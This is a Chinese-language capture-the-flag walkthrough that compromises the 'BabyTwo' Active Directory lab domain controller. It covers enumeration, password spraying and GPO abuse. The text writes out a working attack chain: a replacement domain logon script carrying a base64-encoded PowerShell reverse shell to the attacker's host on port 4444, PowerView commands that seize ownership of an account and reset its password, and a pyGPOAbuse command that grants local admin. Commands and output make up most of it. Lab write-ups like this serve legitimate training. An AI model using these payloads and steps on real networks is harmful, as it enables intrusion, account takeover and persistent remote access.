BabyTwo
The User flag for this Box is located in a non-standard directory, C:.
1. User
1.1. Recon
1.1.1. PortScan
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-30 09:48 EDT
Nmap scan report for DC.baby2.vl (10.129.234.72)
Host is up (0.074s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-30 13:48:35Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: baby2.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.baby2.vl, DNS:baby2.vl, DNS:BABY2
| Not valid before: 2025-08-19T14:22:11
|_Not valid after: 2105-08-19T14:22:11
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: baby2.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.baby2.vl, DNS:baby2.vl, DNS:BABY2
| Not valid before: 2025-08-19T14:22:11
|_Not valid after: 2105-08-19T14:22:11
|_ssl-date: TLS randomness does not represent time
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: baby2.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.baby2.vl, DNS:baby2.vl, DNS:BABY2
| Not valid before: 2025-08-19T14:22:11
|_Not valid after: 2105-08-19T14:22:11
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: baby2.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.baby2.vl, DNS:baby2.vl, DNS:BABY2
| Not valid before: 2025-08-19T14:22:11
|_Not valid after: 2105-08-19T14:22:11
|_ssl-date: TLS randomness does not represent time
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2025-10-30T13:50:07+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: BABY2
| NetBIOS_Domain_Name: BABY2
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: baby2.vl
| DNS_Computer_Name: dc.baby2.vl
| DNS_Tree_Name: baby2.vl
| Product_Version: 10.0.20348
|_ System_Time: 2025-10-30T13:49:27+00:00
| ssl-cert: Subject: commonName=dc.baby2.vl
| Not valid before: 2025-08-18T14:29:57
|_Not valid after: 2026-02-17T14:29:57
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
50277/tcp open msrpc Microsoft Windows RPC
50313/tcp open msrpc Microsoft Windows RPC
56631/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
56632/tcp open msrpc Microsoft Windows RPC
56650/tcp open msrpc Microsoft Windows RPC
61239/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-10-30T13:49:29
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 104.72 seconds
┌──(root㉿kali)-[~/Desktop/htb/babytwo]
└─# nxc smb 10.129.234.72 -u guest -p ''
SMB 10.129.234.72 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.72 445 DC [+] baby2.vl\guest:
1.2. SMB
┌──(root㉿kali)-[~/Desktop/htb/babytwo]
└─# nxc smb 10.129.234.72 -u guest -p '' --shares
SMB 10.129.234.72 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.72 445 DC [+] baby2.vl\guest:
SMB 10.129.234.72 445 DC [*] Enumerated shares
SMB 10.129.234.72 445 DC Share Permissions Remark
SMB 10.129.234.72 445 DC ----- ----------- ------
SMB 10.129.234.72 445 DC ADMIN$ Remote Admin
SMB 10.129.234.72 445 DC apps READ
SMB 10.129.234.72 445 DC C$ Default share
SMB 10.129.234.72 445 DC docs
SMB 10.129.234.72 445 DC homes READ,WRITE
SMB 10.129.234.72 445 DC IPC$ READ Remote IPC
SMB 10.129.234.72 445 DC NETLOGON READ Logon server share
SMB 10.129.234.72 445 DC SYSVOL Logon server share
┌──(root㉿kali)-[~/Desktop/htb/babytwo]
└─# impacket-smbclient guest@10.129.234.72
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
# use homes
# ls
drw-rw-rw- 0 Thu Oct 30 09:48:53 2025 .
drw-rw-rw- 0 Tue Aug 22 16:10:21 2023 ..
drw-rw-rw- 0 Tue Aug 22 16:18:40 2023 Amelia.Griffiths
drw-rw-rw- 0 Tue Aug 22 16:18:40 2023 Carl.Moore
drw-rw-rw- 0 Tue Aug 22 16:18:40 2023 Harry.Shaw
drw-rw-rw- 0 Tue Aug 22 16:18:40 2023 Joan.Jennings
drw-rw-rw- 0 Tue Aug 22 16:18:40 2023 Joel.Hurst
drw-rw-rw- 0 Tue Aug 22 16:18:40 2023 Kieran.Mitchell
drw-rw-rw- 0 Sat Sep 2 10:45:25 2023 library
drw-rw-rw- 0 Tue Aug 22 16:18:40 2023 Lynda.Bailey
drw-rw-rw- 0 Tue Aug 22 16:18:40 2023 Mohammed.Harris
drw-rw-rw- 0 Tue Aug 22 16:18:40 2023 Nicola.Lamb
drw-rw-rw- 0 Tue Aug 22 16:18:40 2023 Ryan.Jenkins
# use apps
# ls
drw-rw-rw- 0 Thu Sep 7 15:20:13 2023 .
drw-rw-rw- 0 Tue Aug 22 16:10:21 2023 ..
drw-rw-rw- 0 Thu Sep 7 15:20:13 2023 dev
# cd dev
# ls
drw-rw-rw- 0 Thu Sep 7 15:20:13 2023 .
drw-rw-rw- 0 Thu Sep 7 15:20:13 2023 ..
-rw-rw-rw- 108 Thu Sep 7 15:20:13 2023 CHANGELOG
-rw-rw-rw- 1800 Thu Sep 7 15:20:13 2023 login.vbs.lnk
# get CHANGELOG
# get login.vbs.lnk
# pwd
/dev
┌──(root㉿kali)-[~/Desktop/htb/babytwo]
└─# cat CHANGELOG
[0.2]
- Added automated drive mapping
[0.1]
- Rolled out initial version of the domain logon script
┌──(root㉿kali)-[~/Desktop/htb/babytwo]
└─# cat login.vbs.lnk
L .dy=dy=9PO :+00/C:\V1Windows@ ﾨR@.4jWindowsT1WSYSVOL> WW.# ISYSVOLT1Wsysvol> WW.dsysvolZ1Wbaby2.vlB WW.ebaby2.vlV1Wscripts@ WW._M=scripts\2"Wv login.vbsD W"Wv.login.vbs-Xz$C:\Windows\SYSVOL\sysvol\baby2.vl\scripts\"\\DC\NETLOGONlogin.vbs9..\..\..\Windows\SYSVOL\sysvol\baby2.vl\scripts\login.vbs)C:\Windows\SYSVOL\sysvol\baby2.vl\scripts$
CBg
(#`Xdc)1Bsa~MdA
)%)1Bsa~MdA
)% 1SPS0CGsf"id,scripts (C:\Windows\SYSVOL\sysvol\baby2.vl)1SPSXFL8C&mm-S-1-5-21-213243958-1766259620-4276976267-5001SPS0%G`%
login.vbs@.
=VBScript Script File@dy=1SPSjc(=Oy4C:\Windows\SYSVOL\sysvol\baby2.vl\scripts\login.vbs91SPSmDpHH@.=xhH\)Kb V
homes 里面没有任何文件。
CHANGELOG 文件给了我们提示，有一个用于登录域的脚本
且从 login.vbs.lnk 这个快捷方式知道了这个脚本是在这个DC的 netlogon 共享上的
┌──(root㉿kali)-[~/Desktop/htb/babytwo]
└─# impacket-smbclient guest@10.129.234.72
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
# use netlogon
# ls
drw-rw-rw- 0 Mon Aug 25 04:30:39 2025 .
drw-rw-rw- 0 Tue Aug 22 13:43:55 2023 ..
-rw-rw-rw- 992 Mon Aug 25 07:23:29 2025 login.vbs
# get login.vbs
┌──(root㉿kali)-[~/Desktop/htb/babytwo]
└─# cat login.vbs
Sub MapNetworkShare(sharePath, driveLetter)
Dim objNetwork
Set objNetwork = CreateObject("WScript.Network")
' Check if the drive is already mapped
Dim mappedDrives
Set mappedDrives = objNetwork.EnumNetworkDrives
Dim isMapped
isMapped = False
For i = 0 To mappedDrives.Count - 1 Step 2
If UCase(mappedDrives.Item(i)) = UCase(driveLetter & ":") Then
isMapped = True
Exit For
End If
Next
If isMapped Then
objNetwork.RemoveNetworkDrive driveLetter & ":", True, True
End If
objNetwork.MapNetworkDrive driveLetter & ":", sharePath
If Err.Number = 0 Then
WScript.Echo "Mapped " & driveLetter & ": to " & sharePath
Else
WScript.Echo "Failed to map " & driveLetter & ": " & Err.Description
End If
Set objNetwork = Nothing
End Sub
MapNetworkShare "\\dc.baby2.vl\apps", "V"
MapNetworkShare "\\dc.baby2.vl\docs", "L"
这里提到了这个 \\dc.baby2.vl\docs 这个网络驱动器，但我们现在还没有权限获取，下一步多半就获取这个
1.3. Rid枚举
┌──(root㉿kali)-[~/Desktop/htb/babytwo]
└─# nxc smb 10.129.234.72 -u guest -p '' --rid-brute
SMB 10.129.234.72 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.72 445 DC [+] baby2.vl\guest:
SMB 10.129.234.72 445 DC 498: BABY2\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.129.234.72 445 DC 500: BABY2\Administrator (SidTypeUser)
SMB 10.129.234.72 445 DC 501: BABY2\Guest (SidTypeUser)
SMB 10.129.234.72 445 DC 502: BABY2\krbtgt (SidTypeUser)
SMB 10.129.234.72 445 DC 512: BABY2\Domain Admins (SidTypeGroup)
SMB 10.129.234.72 445 DC 513: BABY2\Domain Users (SidTypeGroup)
SMB 10.129.234.72 445 DC 514: BABY2\Domain Guests (SidTypeGroup)
SMB 10.129.234.72 445 DC 515: BABY2\Domain Computers (SidTypeGroup)
SMB 10.129.234.72 445 DC 516: BABY2\Domain Controllers (SidTypeGroup)
SMB 10.129.234.72 445 DC 517: BABY2\Cert Publishers (SidTypeAlias)
SMB 10.129.234.72 445 DC 518: BABY2\Schema Admins (SidTypeGroup)
SMB 10.129.234.72 445 DC 519: BABY2\Enterprise Admins (SidTypeGroup)
SMB 10.129.234.72 445 DC 520: BABY2\Group Policy Creator Owners (SidTypeGroup)
SMB 10.129.234.72 445 DC 521: BABY2\Read-only Domain Controllers (SidTypeGroup)
SMB 10.129.234.72 445 DC 522: BABY2\Cloneable Domain Controllers (SidTypeGroup)
SMB 10.129.234.72 445 DC 525: BABY2\Protected Users (SidTypeGroup)
SMB 10.129.234.72 445 DC 526: BABY2\Key Admins (SidTypeGroup)
SMB 10.129.234.72 445 DC 527: BABY2\Enterprise Key Admins (SidTypeGroup)
SMB 10.129.234.72 445 DC 553: BABY2\RAS and IAS Servers (SidTypeAlias)
SMB 10.129.234.72 445 DC 571: BABY2\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 10.129.234.72 445 DC 572: BABY2\Denied RODC Password Replication Group (SidTypeAlias)
SMB 10.129.234.72 445 DC 1000: BABY2\DC$ (SidTypeUser)
SMB 10.129.234.72 445 DC 1101: BABY2\DnsAdmins (SidTypeAlias)
SMB 10.129.234.72 445 DC 1102: BABY2\DnsUpdateProxy (SidTypeGroup)
SMB 10.129.234.72 445 DC 1103: BABY2\gpoadm (SidTypeUser)
SMB 10.129.234.72 445 DC 1104: BABY2\office (SidTypeGroup)
SMB 10.129.234.72 445 DC 1105: BABY2\Joan.Jennings (SidTypeUser)
SMB 10.129.234.72 445 DC 1106: BABY2\Mohammed.Harris (SidTypeUser)
SMB 10.129.234.72 445 DC 1107: BABY2\Harry.Shaw (SidTypeUser)
SMB 10.129.234.72 445 DC 1108: BABY2\Carl.Moore (SidTypeUser)
SMB 10.129.234.72 445 DC 1109: BABY2\Ryan.Jenkins (SidTypeUser)
SMB 10.129.234.72 445 DC 1110: BABY2\Kieran.Mitchell (SidTypeUser)
SMB 10.129.234.72 445 DC 1111: BABY2\Nicola.Lamb (SidTypeUser)
SMB 10.129.234.72 445 DC 1112: BABY2\Lynda.Bailey (SidTypeUser)
SMB 10.129.234.72 445 DC 1113: BABY2\Joel.Hurst (SidTypeUser)
SMB 10.129.234.72 445 DC 1114: BABY2\Amelia.Griffiths (SidTypeUser)
SMB 10.129.234.72 445 DC 1602: BABY2\library (SidTypeUser)
SMB 10.129.234.72 445 DC 2601: BABY2\legacy (SidTypeGroup)
1.4. 密码喷洒
考虑到这是xct出的机器，且xct这个这个逼，很喜欢让你用用户名做密码字典来爆破（且会区分大小写），有时候又是让你把 域名+年份+特殊符号当密码，老熟人了
┌──(root㉿kali)-[~/Desktop/htb/babytwo]
└─# nxc smb 10.129.234.72 -u valid_users -p valid_users --no-bruteforce --continue-on-success
SMB 10.129.234.72 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.72 445 DC [-] baby2.vl\Administrator:Administrator STATUS_LOGON_FAILURE
SMB 10.129.234.72 445 DC [-] baby2.vl\Guest:Guest STATUS_LOGON_FAILURE
SMB 10.129.234.72 445 DC [-] baby2.vl\krbtgt:krbtgt STATUS_LOGON_FAILURE
SMB 10.129.234.72 445 DC [-] baby2.vl\DC$:DC$ STATUS_LOGON_FAILURE
SMB 10.129.234.72 445 DC [-] baby2.vl\gpoadm:gpoadm STATUS_LOGON_FAILURE
SMB 10.129.234.72 445 DC [-] baby2.vl\Joan.Jennings:Joan.Jennings STATUS_LOGON_FAILURE
SMB 10.129.234.72 445 DC [-] baby2.vl\Mohammed.Harris:Mohammed.Harris STATUS_LOGON_FAILURE
SMB 10.129.234.72 445 DC [-] baby2.vl\Harry.Shaw:Harry.Shaw STATUS_LOGON_FAILURE
SMB 10.129.234.72 445 DC [+] baby2.vl\Carl.Moore:Carl.Moore
SMB 10.129.234.72 445 DC [-] baby2.vl\Ryan.Jenkins:Ryan.Jenkins STATUS_LOGON_FAILURE
SMB 10.129.234.72 445 DC [-] baby2.vl\Kieran.Mitchell:Kieran.Mitchell STATUS_LOGON_FAILURE
SMB 10.129.234.72 445 DC [-] baby2.vl\Nicola.Lamb:Nicola.Lamb STATUS_LOGON_FAILURE
SMB 10.129.234.72 445 DC [-] baby2.vl\Lynda.Bailey:Lynda.Bailey STATUS_LOGON_FAILURE
SMB 10.129.234.72 445 DC [-] baby2.vl\Joel.Hurst:Joel.Hurst STATUS_LOGON_FAILURE
SMB 10.129.234.72 445 DC [-] baby2.vl\Amelia.Griffiths:Amelia.Griffiths STATUS_LOGON_FAILURE
SMB 10.129.234.72 445 DC [+] baby2.vl\library:library
两个凭据
┌──(root㉿kali)-[~/Desktop/htb/babytwo]
└─# nxc smb baby2.vl -u library -p library --shares
SMB 10.129.234.72 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:baby2.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.72 445 DC [+] baby2.vl\library:library
SMB 10.129.234.72 445 DC [*] Enumerated shares
SMB 10.129.234.72 445 DC Share Permissions Remark
SMB 10.129.234.72 445 DC ----- ----------- ------
SMB 10.129.234.72 445 DC ADMIN$ Remote Admin
SMB 10.129.234.72 445 DC apps READ,WRITE
SMB 10.129.234.72 445 DC C$ Default share
SMB 10.129.234.72 445 DC docs READ,WRITE
SMB 10.129.234.72 445 DC homes READ,WRITE
SMB 10.129.234.72 445 DC IPC$ READ Remote IPC
SMB 10.129.234.72 445 DC NETLOGON READ Logon server share
SMB 10.129.234.72 445 DC SYSVOL READ Logon server share
可以访问 /docs
┌──(root㉿kali)-[~/Desktop/htb/babytwo]
└─# impacket-smbclient Carl.Moore:Carl.Moore@10.129.234.72
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands
# shares
ADMIN$
apps
C$
docs
homes
IPC$
NETLOGON
SYSVOL
# use docs
# ls
drw-rw-rw- 0 Thu Oct 30 10:28:14 2025 .
drw-rw-rw- 0 Tue Aug 22 16:10:21 2023 ..
没东西
1.5. bloodhound
┌──(root㉿kali)-[~/Desktop/htb/babytwo]
└─# bloodhound-ce-python -c All -k -no-pass -u Carl.Moore -p Carl.Moore -d baby2.vl -ns 10.129.234.72 --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: baby2.vl
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: dc.baby2.vl
INFO: Testing resolved hostname connectivity dead:beef::f518:3d1f:357:cf2f
INFO: Trying LDAP connection to dead:beef::f518:3d1f:357:cf2f
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.baby2.vl
INFO: Testing resolved hostname connectivity dead:beef::f518:3d1f:357:cf2f
INFO: Trying LDAP connection to dead:beef::f518:3d1f:357:cf2f
INFO: Found 16 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc.baby2.vl
INFO: Done in 00M 24S
INFO: Compressing output into 20251030103712_bloodhound.zip
发现没有东西
1.6. lnk劫持 getshell
因为这里说了，原来的脚本是放在这两个
用windows查看这个lnk的属性可以获取到它的源文件地址
C:\Windows\SYSVOL\sysvol\baby2.vl\scripts\login.vbs
我们当前的用户可以通过SMB在这个路径下写文件，直接写一个同名的恶意后门即可
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell.exe -Command ""powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANgA3ACIALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==""", 1, True
替换
┌──(root㉿kali)-[~/Desktop/htb/babytwo]
└─# impacket-smbclient Carl.Moore:Carl.Moore@10.129.234.72
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Type help for list of commands
# shares
ADMIN$
apps
C$
docs
homes
IPC$
NETLOGON
SYSVOL
# use SYSVOL
# ls
drw-rw-rw- 0 Tue Aug 22 13:37:46 2023 .
drw-rw-rw- 0 Tue Aug 22 13:37:46 2023 ..
drw-rw-rw- 0 Tue Aug 22 13:37:46 2023 baby2.vl
# cd baby2.vl
# ls
drw-rw-rw- 0 Tue Aug 22 13:43:55 2023 .
drw-rw-rw- 0 Tue Aug 22 13:37:46 2023 ..
drw-rw-rw- 0 Thu Oct 30 09:48:13 2025 DfsrPrivate
drw-rw-rw- 0 Tue Aug 22 13:37:46 2023 Policies
drw-rw-rw- 0 Mon Aug 25 04:30:39 2025 scripts
# cd scripts
# ls
drw-rw-rw- 0 Mon Aug 25 04:30:39 2025 .
drw-rw-rw- 0 Tue Aug 22 13:43:55 2023 ..
-rw-rw-rw- 992 Mon Aug 25 07:23:29 2025 login.vbs
# rm login.vbs
# ls
drw-rw-rw- 0 Thu Oct 30 10:46:42 2025 .
drw-rw-rw- 0 Tue Aug 22 13:43:55 2023 ..
# put login.vbs
# ls
drw-rw-rw- 0 Thu Oct 30 10:49:11 2025 .
drw-rw-rw- 0 Tue Aug 22 13:43:55 2023 ..
-rw-rw-rw- 1448 Thu Oct 30 10:49:11 2025 login.vbs
等待一会就可以收到shell
┌──(root㉿kali)-[~/Desktop/htb/babytwo]
└─# rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.67] from (UNKNOWN) [10.129.234.72] 62342
PS C:\Windows\system32> whoami
baby2\amelia.griffiths
2. root
2.1. 信息收集
PS C:\users> tree /f /a
Folder PATH listing
Volume serial number is E6F3-2485
C:.
+---Administrator
+---Amelia.Griffiths
| +---3D Objects
| +---Contacts
| +---Desktop
| +---Documents
| +---Downloads
| +---Favorites
| | | Bing.url
| | |
| | \---Links
| +---Links
| | Desktop.lnk
| | Downloads.lnk
| |
| +---Music
| +---Pictures
| +---Saved Games
| +---Searches
| \---Videos
\---Public
+---Documents
+---Downloads
+---Music
+---Pictures
\---Videos
有个url
PS C:\users\Amelia.Griffiths\Favorites> type bing.url
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,2
[InternetShortcut]
IDList=
URL=http://go.microsoft.com/fwlink/p/?LinkId=255142
IconIndex=0
IconFile=%ProgramFiles%\Internet Explorer\Images\bing.ico
很正常的url
看一下bloodhound
这里只能在远程powershell上操作
首先需要导入 【powershell】powerview.ps1
首先gpoadm用户上配置ACE，设置owner属性绑定一个我们已经有凭证的用户比如 Carl.Moore
2.2. WriteOwner
# 修改 gpoadm 的所有者为 Amelia.Griffiths
Set-DomainObjectOwner -TargetIdentity gpoadm -OwnerIdentity Amelia.Griffiths
# 授予 Amelia.Griffiths 对 gpoadm 的完全控制权
Add-DomainObjectAcl -TargetIdentity gpoadm -PrincipalIdentity Amelia.Griffiths -Rights All
# 创建密码对象
$UserPassword = ConvertTo-SecureString 'Admin123' -AsPlainText -Force
# 重置 gpoadm 的密码
Set-DomainUserPassword -Identity gpoadm -AccountPassword $UserPassword
PS C:\users\public> Set-DomainObjectOwner -TargetIdentity gpoadm -OwnerIdentity Amelia.Griffiths
PS C:\users\public> Add-DomainObjectAcl -TargetIdentity gpoadm -PrincipalIdentity Amelia.Griffiths -Rights All
PS C:\users\public> PS C:\users\public> $UserPassword = ConvertTo-SecureString 'Admin123' -AsPlainText -Force
PS C:\users\public> Set-DomainUserPassword -Identity gpoadm -AccountPassword $UserPassword
2.3. GPO Abuse
GPOAbuse
这里可以用 pyGPOAbuse 进行利用
直接推送配置，把 gpoadm 加到本地管理员
┌──(root㉿kali)-[~/Desktop/tools/pyGPOAbuse]
└─# python3 pygpoabuse.py 'baby2.vl/gpoadm:Admin123' -gpo-id "6AC1786C-016F-11D2-945F-00C04FB984F9" -command 'net localgroup administrators gpoadm /add' -f
SUCCESS:root:ScheduledTask TASK_a941a2e6 created!
[+] ScheduledTask TASK_a941a2e6 created!
这里的 gpo-id 就是这个GPO的 CN
等一会就可以发现命令已经执行成功了
PS C:\users\public> net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Amelia.Griffiths
Domain Admins
Enterprise Admins
gpoadm
john
The command completed successfully.
┌──(root㉿kali)-[~/Desktop/tools/pyGPOAbuse]
└─# nxc winrm 10.129.234.72 -u gpoadm -p Admin123 -x 'type C:\users\Administrator\desktop\root.txt'
WINRM 10.129.234.72 5985 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:baby2.vl)
WINRM 10.129.234.72 5985 DC [+] baby2.vl\gpoadm:Admin123 (Pwn3d!)
WINRM 10.129.234.72 5985 DC [+] Executed command (shell type: cmd)
WINRM 10.129.234.72 5985 DC 293500962edc31fa154951eeeb5740f9